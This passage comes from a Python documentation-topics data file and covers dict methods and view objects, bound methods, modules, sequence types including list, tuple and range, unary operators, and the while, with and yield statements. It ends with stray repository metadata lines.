helpful for accumulating and managing\n tallies.\n\n d[key] = value\n\n Set ``d[key]`` to *value*.\n\n del d[key]\n\n Remove ``d[key]`` from *d*. Raises a ``KeyError`` if *key* is\n not in the map.\n\n key in d\n\n Return ``True`` if *d* has a key *key*, else ``False``.\n\n key not in d\n\n Equivalent to ``not key in d``.\n\n iter(d)\n\n Return an iterator over the keys of the dictionary. This is a\n shortcut for ``iter(d.keys())``.\n\n clear()\n\n Remove all items from the dictionary.\n\n copy()\n\n Return a shallow copy of the dictionary.\n\n classmethod fromkeys(seq[, value])\n\n Create a new dictionary with keys from *seq* and values set to\n *value*.\n\n ``fromkeys()`` is a class method that returns a new dictionary.\n *value* defaults to ``None``.\n\n get(key[, default])\n\n Return the value for *key* if *key* is in the dictionary, else\n *default*. If *default* is not given, it defaults to ``None``,\n so that this method never raises a ``KeyError``.\n\n items()\n\n Return a new view of the dictionary\'s items (``(key, value)``\n pairs). See the *documentation of view objects*.\n\n keys()\n\n Return a new view of the dictionary\'s keys. See the\n *documentation of view objects*.\n\n pop(key[, default])\n\n If *key* is in the dictionary, remove it and return its value,\n else return *default*. If *default* is not given and *key* is\n not in the dictionary, a ``KeyError`` is raised.\n\n popitem()\n\n Remove and return an arbitrary ``(key, value)`` pair from the\n dictionary.\n\n ``popitem()`` is useful to destructively iterate over a\n dictionary, as often used in set algorithms. If the dictionary\n is empty, calling ``popitem()`` raises a ``KeyError``.\n\n setdefault(key[, default])\n\n If *key* is in the dictionary, return its value. If not, insert\n *key* with a value of *default* and return *default*. *default*\n defaults to ``None``.\n\n update([other])\n\n Update the dictionary with the key/value pairs from *other*,\n overwriting existing keys. Return ``None``.\n\n ``update()`` accepts either another dictionary object or an\n iterable of key/value pairs (as tuples or other iterables of\n length two). If keyword arguments are specified, the dictionary\n is then updated with those key/value pairs: ``d.update(red=1,\n blue=2)``.\n\n values()\n\n Return a new view of the dictionary\'s values. See the\n *documentation of view objects*.\n\nSee also:\n\n ``types.MappingProxyType`` can be used to create a read-only view\n of a ``dict``.\n\n\nDictionary view objects\n=======================\n\nThe objects returned by ``dict.keys()``, ``dict.values()`` and\n``dict.items()`` are *view objects*. They provide a dynamic view on\nthe dictionary\'s entries, which means that when the dictionary\nchanges, the view reflects these changes.\n\nDictionary views can be iterated over to yield their respective data,\nand support membership tests:\n\nlen(dictview)\n\n Return the number of entries in the dictionary.\n\niter(dictview)\n\n Return an iterator over the keys, values or items (represented as\n tuples of ``(key, value)``) in the dictionary.\n\n Keys and values are iterated over in an arbitrary order which is\n non-random, varies across Python implementations, and depends on\n the dictionary\'s history of insertions and deletions. If keys,\n values and items views are iterated over with no intervening\n modifications to the dictionary, the order of items will directly\n correspond. This allows the creation of ``(value, key)`` pairs\n using ``zip()``: ``pairs = zip(d.values(), d.keys())``. Another\n way to create the same list is ``pairs = [(v, k) for (k, v) in\n d.items()]``.\n\n Iterating views while adding or deleting entries in the dictionary\n may raise a ``RuntimeError`` or fail to iterate over all entries.\n\nx in dictview\n\n Return ``True`` if *x* is in the underlying dictionary\'s keys,\n values or items (in the latter case, *x* should be a ``(key,\n value)`` tuple).\n\nKeys views are set-like since their entries are unique and hashable.\nIf all values are hashable, so that ``(key, value)`` pairs are unique\nand hashable, then the items view is also set-like. (Values views are\nnot treated as set-like since the entries are generally not unique.)\nFor set-like views, all of the operations defined for the abstract\nbase class ``collections.abc.Set`` are available (for example, ``==``,\n``<``, or ``^``).\n\nAn example of dictionary view usage:\n\n >>> dishes = {\'eggs\': 2, \'sausage\': 1, \'bacon\': 1, \'spam\': 500}\n >>> keys = dishes.keys()\n >>> values = dishes.values()\n\n >>> # iteration\n >>> n = 0\n >>> for val in values:\n ... n += val\n >>> print(n)\n 504\n\n >>> # keys and values are iterated over in the same order\n >>> list(keys)\n [\'eggs\', \'bacon\', \'sausage\', \'spam\']\n >>> list(values)\n [2, 1, 1, 500]\n\n >>> # view objects are dynamic and reflect dict changes\n >>> del dishes[\'eggs\']\n >>> del dishes[\'sausage\']\n >>> list(keys)\n [\'spam\', \'bacon\']\n\n >>> # set operations\n >>> keys & {\'eggs\', \'bacon\', \'salad\'}\n {\'bacon\'}\n >>> keys ^ {\'sausage\', \'juice\'}\n {\'juice\', \'sausage\', \'bacon\', \'spam\'}\n', 'typesmethods': '\nMethods\n*******\n\nMethods are functions that are called using the attribute notation.\nThere are two flavors: built-in methods (such as ``append()`` on\nlists) and class instance methods. Built-in methods are described\nwith the types that support them.\n\nIf you access a method (a function defined in a class namespace)\nthrough an instance, you get a special object: a *bound method* (also\ncalled *instance method*) object. When called, it will add the\n``self`` argument to the argument list. Bound methods have two\nspecial read-only attributes: ``m.__self__`` is the object on which\nthe method operates, and ``m.__func__`` is the function implementing\nthe method. Calling ``m(arg-1, arg-2, ..., arg-n)`` is completely\nequivalent to calling ``m.__func__(m.__self__, arg-1, arg-2, ...,\narg-n)``.\n\nLike function objects, bound method objects support getting arbitrary\nattributes. However, since method attributes are actually stored on\nthe underlying function object (``meth.__func__``), setting method\nattributes on bound methods is disallowed. Attempting to set an\nattribute on a method results in an ``AttributeError`` being raised.\nIn order to set a method attribute, you need to explicitly set it on\nthe underlying function object:\n\n >>> class C:\n ... def method(self):\n ... pass\n ...\n >>> c = C()\n >>> c.method.whoami = \'my name is method\' # can\'t set on the method\n Traceback (most recent call last):\n File "<stdin>", line 1, in <module>\n AttributeError: \'method\' object has no attribute \'whoami\'\n >>> c.method.__func__.whoami = \'my name is method\'\n >>> c.method.whoami\n \'my name is method\'\n\nSee *The standard type hierarchy* for more information.\n', 'typesmodules': "\nModules\n*******\n\nThe only special operation on a module is attribute access:\n``m.name``, where *m* is a module and *name* accesses a name defined\nin *m*'s symbol table. Module attributes can be assigned to. (Note\nthat the ``import`` statement is not, strictly speaking, an operation\non a module object; ``import foo`` does not require a module object\nnamed *foo* to exist, rather it requires an (external) *definition*\nfor a module named *foo* somewhere.)\n\nA special attribute of every module is ``__dict__``. This is the\ndictionary containing the module's symbol table. Modifying this\ndictionary will actually change the module's symbol table, but direct\nassignment to the ``__dict__`` attribute is not possible (you can\nwrite ``m.__dict__['a'] = 1``, which defines ``m.a`` to be ``1``, but\nyou can't write ``m.__dict__ = {}``). Modifying ``__dict__`` directly\nis not recommended.\n\nModules built into the interpreter are written like this: ``<module\n'sys' (built-in)>``. If loaded from a file, they are written as\n``<module 'os' from '/usr/local/lib/pythonX.Y/os.pyc'>``.\n", 'typesseq': '\nSequence Types --- ``list``, ``tuple``, ``range``\n*************************************************\n\nThere are three basic sequence types: lists, tuples, and range\nobjects. Additional sequence types tailored for processing of *binary\ndata* and *text strings* are described in dedicated sections.\n\n\nCommon Sequence Operations\n==========================\n\nThe operations in the following table are supported by most sequence\ntypes, both mutable and immutable. The ``collections.abc.Sequence``\nABC is provided to make it easier to correctly implement these\noperations on custom sequence types.\n\nThis table lists the sequence operations sorted in ascending priority\n(operations in the same box have the same priority). In the table,\n*s* and *t* are sequences of the same type, *n*, *i*, *j* and *k* are\nintegers and *x* is an arbitrary object that meets any type and value\nrestrictions imposed by *s*.\n\nThe ``in`` and ``not in`` operations have the same priorities as the\ncomparison operations. The ``+`` (concatenation) and ``*``\n(repetition) operations have the same priority as the corresponding\nnumeric operations.\n\n+----------------------------+----------------------------------+------------+\n| Operation | Result | Notes |\n+============================+==================================+============+\n| ``x in s`` | ``True`` if an item of *s* is | (1) |\n| | equal to *x*, else ``False`` | |\n+----------------------------+----------------------------------+------------+\n| ``x not in s`` | ``False`` if an item of *s* is | (1) |\n| | equal to *x*, else ``True`` | |\n+----------------------------+----------------------------------+------------+\n| ``s + t`` | the concatenation of *s* and *t* | (6)(7) |\n+----------------------------+----------------------------------+------------+\n| ``s * n`` or ``n * s`` | *n* shallow copies of *s* | (2)(7) |\n| | concatenated | |\n+----------------------------+----------------------------------+------------+\n| ``s[i]`` | *i*th item of *s*, origin 0 | (3) |\n+----------------------------+----------------------------------+------------+\n| ``s[i:j]`` | slice of *s* from *i* to *j* | (3)(4) |\n+----------------------------+----------------------------------+------------+\n| ``s[i:j:k]`` | slice of *s* from *i* to *j* | (3)(5) |\n| | with step *k* | |\n+----------------------------+----------------------------------+------------+\n| ``len(s)`` | length of *s* | |\n+----------------------------+----------------------------------+------------+\n| ``min(s)`` | smallest item of *s* | |\n+----------------------------+----------------------------------+------------+\n| ``max(s)`` | largest item of *s* | |\n+----------------------------+----------------------------------+------------+\n| ``s.index(x[, i[, j]])`` | index of the first occurence of | (8) |\n| | *x* in *s* (at or after index | |\n| | *i* and before index *j*) | |\n+----------------------------+----------------------------------+------------+\n| ``s.count(x)`` | total number of occurences of | |\n| | *x* in *s* | |\n+----------------------------+----------------------------------+------------+\n\nSequences of the same type also support comparisons. In particular,\ntuples and lists are compared lexicographically by comparing\ncorresponding elements. This means that to compare equal, every\nelement must compare equal and the two sequences must be of the same\ntype and have the same length. (For full details see *Comparisons* in\nthe language reference.)\n\nNotes:\n\n1. While the ``in`` and ``not in`` operations are used only for simple\n containment testing in the general case, some specialised sequences\n (such as ``str``, ``bytes`` and ``bytearray``) also use them for\n subsequence testing:\n\n >>> "gg" in "eggs"\n True\n\n2. Values of *n* less than ``0`` are treated as ``0`` (which yields an\n empty sequence of the same type as *s*). Note also that the copies\n are shallow; nested structures are not copied. This often haunts\n new Python programmers; consider:\n\n >>> lists = [[]] * 3\n >>> lists\n [[], [], []]\n >>> lists[0].append(3)\n >>> lists\n [[3], [3], [3]]\n\n What has happened is that ``[[]]`` is a one-element list containing\n an empty list, so all three elements of ``[[]] * 3`` are (pointers\n to) this single empty list. Modifying any of the elements of\n ``lists`` modifies this single list. You can create a list of\n different lists this way:\n\n >>> lists = [[] for i in range(3)]\n >>> lists[0].append(3)\n >>> lists[1].append(5)\n >>> lists[2].append(7)\n >>> lists\n [[3], [5], [7]]\n\n3. If *i* or *j* is negative, the index is relative to the end of the\n string: ``len(s) + i`` or ``len(s) + j`` is substituted. But note\n that ``-0`` is still ``0``.\n\n4. The slice of *s* from *i* to *j* is defined as the sequence of\n items with index *k* such that ``i <= k < j``. If *i* or *j* is\n greater than ``len(s)``, use ``len(s)``. If *i* is omitted or\n ``None``, use ``0``. If *j* is omitted or ``None``, use\n ``len(s)``. If *i* is greater than or equal to *j*, the slice is\n empty.\n\n5. The slice of *s* from *i* to *j* with step *k* is defined as the\n sequence of items with index ``x = i + n*k`` such that ``0 <= n <\n (j-i)/k``. In other words, the indices are ``i``, ``i+k``,\n ``i+2*k``, ``i+3*k`` and so on, stopping when *j* is reached (but\n never including *j*). If *i* or *j* is greater than ``len(s)``,\n use ``len(s)``. If *i* or *j* are omitted or ``None``, they become\n "end" values (which end depends on the sign of *k*). Note, *k*\n cannot be zero. If *k* is ``None``, it is treated like ``1``.\n\n6. Concatenating immutable sequences always results in a new object.\n This means that building up a sequence by repeated concatenation\n will have a quadratic runtime cost in the total sequence length.\n To get a linear runtime cost, you must switch to one of the\n alternatives below:\n\n * if concatenating ``str`` objects, you can build a list and use\n ``str.join()`` at the end or else write to a ``io.StringIO``\n instance and retrieve its value when complete\n\n * if concatenating ``bytes`` objects, you can similarly use\n ``bytes.join()`` or ``io.BytesIO``, or you can do in-place\n concatenation with a ``bytearray`` object. ``bytearray`` objects\n are mutable and have an efficient overallocation mechanism\n\n * if concatenating ``tuple`` objects, extend a ``list`` instead\n\n * for other types, investigate the relevant class documentation\n\n7. Some sequence types (such as ``range``) only support item sequences\n that follow specific patterns, and hence don\'t support sequence\n concatenation or repetition.\n\n8. ``index`` raises ``ValueError`` when *x* is not found in *s*. When\n supported, the additional arguments to the index method allow\n efficient searching of subsections of the sequence. Passing the\n extra arguments is roughly equivalent to using ``s[i:j].index(x)``,\n only without copying any data and with the returned index being\n relative to the start of the sequence rather than the start of the\n slice.\n\n\nImmutable Sequence Types\n========================\n\nThe only operation that immutable sequence types generally implement\nthat is not also implemented by mutable sequence types is support for\nthe ``hash()`` built-in.\n\nThis support allows immutable sequences, such as ``tuple`` instances,\nto be used as ``dict`` keys and stored in ``set`` and ``frozenset``\ninstances.\n\nAttempting to hash an immutable sequence that contains unhashable\nvalues will result in ``TypeError``.\n\n\nMutable Sequence Types\n======================\n\nThe operations in the following table are defined on mutable sequence\ntypes. The ``collections.abc.MutableSequence`` ABC is provided to make\nit easier to correctly implement these operations on custom sequence\ntypes.\n\nIn the table *s* is an instance of a mutable sequence type, *t* is any\niterable object and *x* is an arbitrary object that meets any type and\nvalue restrictions imposed by *s* (for example, ``bytearray`` only\naccepts integers that meet the value restriction ``0 <= x <= 255``).\n\n+--------------------------------+----------------------------------+-----------------------+\n| Operation | Result | Notes |\n+================================+==================================+=======================+\n| ``s[i] = x`` | item *i* of *s* is replaced by | |\n| | *x* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s[i:j] = t`` | slice of *s* from *i* to *j* is | |\n| | replaced by the contents of the | |\n| | iterable *t* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``del s[i:j]`` | same as ``s[i:j] = []`` | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s[i:j:k] = t`` | the elements of ``s[i:j:k]`` are | (1) |\n| | replaced by those of *t* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``del s[i:j:k]`` | removes the elements of | |\n| | ``s[i:j:k]`` from the list | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.append(x)`` | appends *x* to the end of the | |\n| | sequence (same as | |\n| | ``s[len(s):len(s)] = [x]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.clear()`` | removes all items from ``s`` | (5) |\n| | (same as ``del s[:]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.copy()`` | creates a shallow copy of ``s`` | (5) |\n| | (same as ``s[:]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.extend(t)`` | extends *s* with the contents of | |\n| | *t* (same as ``s[len(s):len(s)] | |\n| | = t``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.insert(i, x)`` | inserts *x* into *s* at the | |\n| | index given by *i* (same as | |\n| | ``s[i:i] = [x]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.pop([i])`` | retrieves the item at *i* and | (2) |\n| | also removes it from *s* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.remove(x)`` | remove the first item from *s* | (3) |\n| | where ``s[i] == x`` | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.reverse()`` | reverses the items of *s* in | (4) |\n| | place | |\n+--------------------------------+----------------------------------+-----------------------+\n\nNotes:\n\n1. *t* must have the same length as the slice it is replacing.\n\n2. The optional argument *i* defaults to ``-1``, so that by default\n the last item is removed and returned.\n\n3. ``remove`` raises ``ValueError`` when *x* is not found in *s*.\n\n4. The ``reverse()`` method modifies the sequence in place for economy\n of space when reversing a large sequence. To remind users that it\n operates by side effect, it does not return the reversed sequence.\n\n5. ``clear()`` and ``copy()`` are included for consistency with the\n interfaces of mutable containers that don\'t support slicing\n operations (such as ``dict`` and ``set``)\n\n New in version 3.3: ``clear()`` and ``copy()`` methods.\n\n\nLists\n=====\n\nLists are mutable sequences, typically used to store collections of\nhomogeneous items (where the precise degree of similarity will vary by\napplication).\n\nclass class list([iterable])\n\n Lists may be constructed in several ways:\n\n * Using a pair of square brackets to denote the empty list: ``[]``\n\n * Using square brackets, separating items with commas: ``[a]``,\n ``[a, b, c]``\n\n * Using a list comprehension: ``[x for x in iterable]``\n\n * Using the type constructor: ``list()`` or ``list(iterable)``\n\n The constructor builds a list whose items are the same and in the\n same order as *iterable*\'s items. *iterable* may be either a\n sequence, a container that supports iteration, or an iterator\n object. If *iterable* is already a list, a copy is made and\n returned, similar to ``iterable[:]``. For example, ``list(\'abc\')``\n returns ``[\'a\', \'b\', \'c\']`` and ``list( (1, 2, 3) )`` returns ``[1,\n 2, 3]``. If no argument is given, the constructor creates a new\n empty list, ``[]``.\n\n Many other operations also produce lists, including the\n ``sorted()`` built-in.\n\n Lists implement all of the *common* and *mutable* sequence\n operations. Lists also provide the following additional method:\n\n sort(*, key=None, reverse=None)\n\n This method sorts the list in place, using only ``<``\n comparisons between items. Exceptions are not suppressed - if\n any comparison operations fail, the entire sort operation will\n fail (and the list will likely be left in a partially modified\n state).\n\n *key* specifies a function of one argument that is used to\n extract a comparison key from each list element (for example,\n ``key=str.lower``). The key corresponding to each item in the\n list is calculated once and then used for the entire sorting\n process. The default value of ``None`` means that list items are\n sorted directly without calculating a separate key value.\n\n The ``functools.cmp_to_key()`` utility is available to convert a\n 2.x style *cmp* function to a *key* function.\n\n *reverse* is a boolean value. If set to ``True``, then the list\n elements are sorted as if each comparison were reversed.\n\n This method modifies the sequence in place for economy of space\n when sorting a large sequence. To remind users that it operates\n by side effect, it does not return the sorted sequence (use\n ``sorted()`` to explicitly request a new sorted list instance).\n\n The ``sort()`` method is guaranteed to be stable. A sort is\n stable if it guarantees not to change the relative order of\n elements that compare equal --- this is helpful for sorting in\n multiple passes (for example, sort by department, then by salary\n grade).\n\n **CPython implementation detail:** While a list is being sorted,\n the effect of attempting to mutate, or even inspect, the list is\n undefined. The C implementation of Python makes the list appear\n empty for the duration, and raises ``ValueError`` if it can\n detect that the list has been mutated during a sort.\n\n\nTuples\n======\n\nTuples are immutable sequences, typically used to store collections of\nheterogeneous data (such as the 2-tuples produced by the\n``enumerate()`` built-in). Tuples are also used for cases where an\nimmutable sequence of homogeneous data is needed (such as allowing\nstorage in a ``set`` or ``dict`` instance).\n\nclass class tuple([iterable])\n\n Tuples may be constructed in a number of ways:\n\n * Using a pair of parentheses to denote the empty tuple: ``()``\n\n * Using a trailing comma for a singleton tuple: ``a,`` or ``(a,)``\n\n * Separating items with commas: ``a, b, c`` or ``(a, b, c)``\n\n * Using the ``tuple()`` built-in: ``tuple()`` or\n ``tuple(iterable)``\n\n The constructor builds a tuple whose items are the same and in the\n same order as *iterable*\'s items. *iterable* may be either a\n sequence, a container that supports iteration, or an iterator\n object. If *iterable* is already a tuple, it is returned\n unchanged. For example, ``tuple(\'abc\')`` returns ``(\'a\', \'b\',\n \'c\')`` and ``tuple( [1, 2, 3] )`` returns ``(1, 2, 3)``. If no\n argument is given, the constructor creates a new empty tuple,\n ``()``.\n\n Note that it is actually the comma which makes a tuple, not the\n parentheses. The parentheses are optional, except in the empty\n tuple case, or when they are needed to avoid syntactic ambiguity.\n For example, ``f(a, b, c)`` is a function call with three\n arguments, while ``f((a, b, c))`` is a function call with a 3-tuple\n as the sole argument.\n\n Tuples implement all of the *common* sequence operations.\n\nFor heterogeneous collections of data where access by name is clearer\nthan access by index, ``collections.namedtuple()`` may be a more\nappropriate choice than a simple tuple object.\n\n\nRanges\n======\n\nThe ``range`` type represents an immutable sequence of numbers and is\ncommonly used for looping a specific number of times in ``for`` loops.\n\nclass class range(stop)\nclass class range(start, stop[, step])\n\n The arguments to the range constructor must be integers (either\n built-in ``int`` or any object that implements the ``__index__``\n special method). If the *step* argument is omitted, it defaults to\n ``1``. If the *start* argument is omitted, it defaults to ``0``. If\n *step* is zero, ``ValueError`` is raised.\n\n For a positive *step*, the contents of a range ``r`` are determined\n by the formula ``r[i] = start + step*i`` where ``i >= 0`` and\n ``r[i] < stop``.\n\n For a negative *step*, the contents of the range are still\n determined by the formula ``r[i] = start + step*i``, but the\n constraints are ``i >= 0`` and ``r[i] > stop``.\n\n A range object will be empty if ``r[0]`` does not meet the value\n constraint. Ranges do support negative indices, but these are\n interpreted as indexing from the end of the sequence determined by\n the positive indices.\n\n Ranges containing absolute values larger than ``sys.maxsize`` are\n permitted but some features (such as ``len()``) may raise\n ``OverflowError``.\n\n Range examples:\n\n >>> list(range(10))\n [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n >>> list(range(1, 11))\n [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n >>> list(range(0, 30, 5))\n [0, 5, 10, 15, 20, 25]\n >>> list(range(0, 10, 3))\n [0, 3, 6, 9]\n >>> list(range(0, -10, -1))\n [0, -1, -2, -3, -4, -5, -6, -7, -8, -9]\n >>> list(range(0))\n []\n >>> list(range(1, 0))\n []\n\n Ranges implement all of the *common* sequence operations except\n concatenation and repetition (due to the fact that range objects\n can only represent sequences that follow a strict pattern and\n repetition and concatenation will usually violate that pattern).\n\nThe advantage of the ``range`` type over a regular ``list`` or\n``tuple`` is that a ``range`` object will always take the same (small)\namount of memory, no matter the size of the range it represents (as it\nonly stores the ``start``, ``stop`` and ``step`` values, calculating\nindividual items and subranges as needed).\n\nRange objects implement the ``collections.Sequence`` ABC, and provide\nfeatures such as containment tests, element index lookup, slicing and\nsupport for negative indices (see *Sequence Types --- list, tuple,\nrange*):\n\n>>> r = range(0, 20, 2)\n>>> r\nrange(0, 20, 2)\n>>> 11 in r\nFalse\n>>> 10 in r\nTrue\n>>> r.index(10)\n5\n>>> r[5]\n10\n>>> r[:5]\nrange(0, 10, 2)\n>>> r[-1]\n18\n\nTesting range objects for equality with ``==`` and ``!=`` compares\nthem as sequences. That is, two range objects are considered equal if\nthey represent the same sequence of values. (Note that two range\nobjects that compare equal might have different ``start``, ``stop``\nand ``step`` attributes, for example ``range(0) == range(2, 1, 3)`` or\n``range(0, 3, 2) == range(0, 4, 2)``.)\n\nChanged in version 3.2: Implement the Sequence ABC. Support slicing\nand negative indices. Test ``int`` objects for membership in constant\ntime instead of iterating through all items.\n\nChanged in version 3.3: Define \'==\' and \'!=\' to compare range objects\nbased on the sequence of values they define (instead of comparing\nbased on object identity).\n\nNew in version 3.3: The ``start``, ``stop`` and ``step`` attributes.\n', 'typesseq-mutable': "\nMutable Sequence Types\n**********************\n\nThe operations in the following table are defined on mutable sequence\ntypes. The ``collections.abc.MutableSequence`` ABC is provided to make\nit easier to correctly implement these operations on custom sequence\ntypes.\n\nIn the table *s* is an instance of a mutable sequence type, *t* is any\niterable object and *x* is an arbitrary object that meets any type and\nvalue restrictions imposed by *s* (for example, ``bytearray`` only\naccepts integers that meet the value restriction ``0 <= x <= 255``).\n\n+--------------------------------+----------------------------------+-----------------------+\n| Operation | Result | Notes |\n+================================+==================================+=======================+\n| ``s[i] = x`` | item *i* of *s* is replaced by | |\n| | *x* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s[i:j] = t`` | slice of *s* from *i* to *j* is | |\n| | replaced by the contents of the | |\n| | iterable *t* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``del s[i:j]`` | same as ``s[i:j] = []`` | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s[i:j:k] = t`` | the elements of ``s[i:j:k]`` are | (1) |\n| | replaced by those of *t* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``del s[i:j:k]`` | removes the elements of | |\n| | ``s[i:j:k]`` from the list | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.append(x)`` | appends *x* to the end of the | |\n| | sequence (same as | |\n| | ``s[len(s):len(s)] = [x]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.clear()`` | removes all items from ``s`` | (5) |\n| | (same as ``del s[:]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.copy()`` | creates a shallow copy of ``s`` | (5) |\n| | (same as ``s[:]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.extend(t)`` | extends *s* with the contents of | |\n| | *t* (same as ``s[len(s):len(s)] | |\n| | = t``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.insert(i, x)`` | inserts *x* into *s* at the | |\n| | index given by *i* (same as | |\n| | ``s[i:i] = [x]``) | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.pop([i])`` | retrieves the item at *i* and | (2) |\n| | also removes it from *s* | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.remove(x)`` | remove the first item from *s* | (3) |\n| | where ``s[i] == x`` | |\n+--------------------------------+----------------------------------+-----------------------+\n| ``s.reverse()`` | reverses the items of *s* in | (4) |\n| | place | |\n+--------------------------------+----------------------------------+-----------------------+\n\nNotes:\n\n1. *t* must have the same length as the slice it is replacing.\n\n2. The optional argument *i* defaults to ``-1``, so that by default\n the last item is removed and returned.\n\n3. ``remove`` raises ``ValueError`` when *x* is not found in *s*.\n\n4. The ``reverse()`` method modifies the sequence in place for economy\n of space when reversing a large sequence. To remind users that it\n operates by side effect, it does not return the reversed sequence.\n\n5. ``clear()`` and ``copy()`` are included for consistency with the\n interfaces of mutable containers that don't support slicing\n operations (such as ``dict`` and ``set``)\n\n New in version 3.3: ``clear()`` and ``copy()`` methods.\n", 'unary': '\nUnary arithmetic and bitwise operations\n***************************************\n\nAll unary arithmetic and bitwise operations have the same priority:\n\n u_expr ::= power | "-" u_expr | "+" u_expr | "~" u_expr\n\nThe unary ``-`` (minus) operator yields the negation of its numeric\nargument.\n\nThe unary ``+`` (plus) operator yields its numeric argument unchanged.\n\nThe unary ``~`` (invert) operator yields the bitwise inversion of its\ninteger argument. The bitwise inversion of ``x`` is defined as\n``-(x+1)``. It only applies to integral numbers.\n\nIn all three cases, if the argument does not have the proper type, a\n``TypeError`` exception is raised.\n', 'while': '\nThe ``while`` statement\n***********************\n\nThe ``while`` statement is used for repeated execution as long as an\nexpression is true:\n\n while_stmt ::= "while" expression ":" suite\n ["else" ":" suite]\n\nThis repeatedly tests the expression and, if it is true, executes the\nfirst suite; if the expression is false (which may be the first time\nit is tested) the suite of the ``else`` clause, if present, is\nexecuted and the loop terminates.\n\nA ``break`` statement executed in the first suite terminates the loop\nwithout executing the ``else`` clause\'s suite. A ``continue``\nstatement executed in the first suite skips the rest of the suite and\ngoes back to testing the expression.\n', 'with': '\nThe ``with`` statement\n**********************\n\nThe ``with`` statement is used to wrap the execution of a block with\nmethods defined by a context manager (see section *With Statement\nContext Managers*). This allows common\n``try``...``except``...``finally`` usage patterns to be encapsulated\nfor convenient reuse.\n\n with_stmt ::= "with" with_item ("," with_item)* ":" suite\n with_item ::= expression ["as" target]\n\nThe execution of the ``with`` statement with one "item" proceeds as\nfollows:\n\n1. The context expression (the expression given in the ``with_item``)\n is evaluated to obtain a context manager.\n\n2. The context manager\'s ``__exit__()`` is loaded for later use.\n\n3. The context manager\'s ``__enter__()`` method is invoked.\n\n4. If a target was included in the ``with`` statement, the return\n value from ``__enter__()`` is assigned to it.\n\n Note: The ``with`` statement guarantees that if the ``__enter__()``\n method returns without an error, then ``__exit__()`` will always\n be called. Thus, if an error occurs during the assignment to the\n target list, it will be treated the same as an error occurring\n within the suite would be. See step 6 below.\n\n5. The suite is executed.\n\n6. The context manager\'s ``__exit__()`` method is invoked. If an\n exception caused the suite to be exited, its type, value, and\n traceback are passed as arguments to ``__exit__()``. Otherwise,\n three ``None`` arguments are supplied.\n\n If the suite was exited due to an exception, and the return value\n from the ``__exit__()`` method was false, the exception is\n reraised. If the return value was true, the exception is\n suppressed, and execution continues with the statement following\n the ``with`` statement.\n\n If the suite was exited for any reason other than an exception, the\n return value from ``__exit__()`` is ignored, and execution proceeds\n at the normal location for the kind of exit that was taken.\n\nWith more than one item, the context managers are processed as if\nmultiple ``with`` statements were nested:\n\n with A() as a, B() as b:\n suite\n\nis equivalent to\n\n with A() as a:\n with B() as b:\n suite\n\nChanged in version 3.1: Support for multiple context expressions.\n\nSee also:\n\n **PEP 0343** - The "with" statement\n The specification, background, and examples for the Python\n ``with`` statement.\n', 'yield': '\nThe ``yield`` statement\n***********************\n\n yield_stmt ::= yield_expression\n\nThe ``yield`` statement is only used when defining a generator\nfunction, and is only used in the body of the generator function.\nUsing a ``yield`` statement in a function definition is sufficient to\ncause that definition to create a generator function instead of a\nnormal function.\n\nWhen a generator function is called, it returns an iterator known as a\ngenerator iterator, or more commonly, a generator. The body of the\ngenerator function is executed by calling the ``next()`` function on\nthe generator repeatedly until it raises an exception.\n\nWhen a ``yield`` statement is executed, the state of the generator is\nfrozen and the value of ``expression_list`` is returned to\n``next()``\'s caller. By "frozen" we mean that all local state is\nretained, including the current bindings of local variables, the\ninstruction pointer, and the internal evaluation stack: enough\ninformation is saved so that the next time ``next()`` is invoked, the\nfunction can proceed exactly as if the ``yield`` statement were just\nanother external call.\n\nThe ``yield`` statement is allowed in the ``try`` clause of a ``try``\n... ``finally`` construct. If the generator is not resumed before it\nis finalized (by reaching a zero reference count or by being garbage\ncollected), the generator-iterator\'s ``close()`` method will be\ncalled, allowing any pending ``finally`` clauses to execute.\n\nWhen ``yield from <expr>`` is used, it treats the supplied expression\nas a subiterator, producing values from it until the underlying\niterator is exhausted.\n\n Changed in version 3.3: Added ``yield from <expr>`` to delegate\n control flow to a subiterator\n\nFor full details of ``yield`` semantics, refer to the *Yield\nexpressions* section.\n\nSee also:\n\n **PEP 0255** - Simple Generators\n The proposal for adding generators and the ``yield`` statement\n to Python.\n\n **PEP 0342** - Coroutines via Enhanced Generators\n The proposal to enhance the API and syntax of generators, making\n them usable as simple coroutines.\n\n **PEP 0380** - Syntax for Delegating to a Subgenerator\n The proposal to introduce the ``yield_from`` syntax, making\n delegation to sub-generators easy.\n'}
gpl-3.0
dencee/AWG
AWG_App_py3.py
1
19683
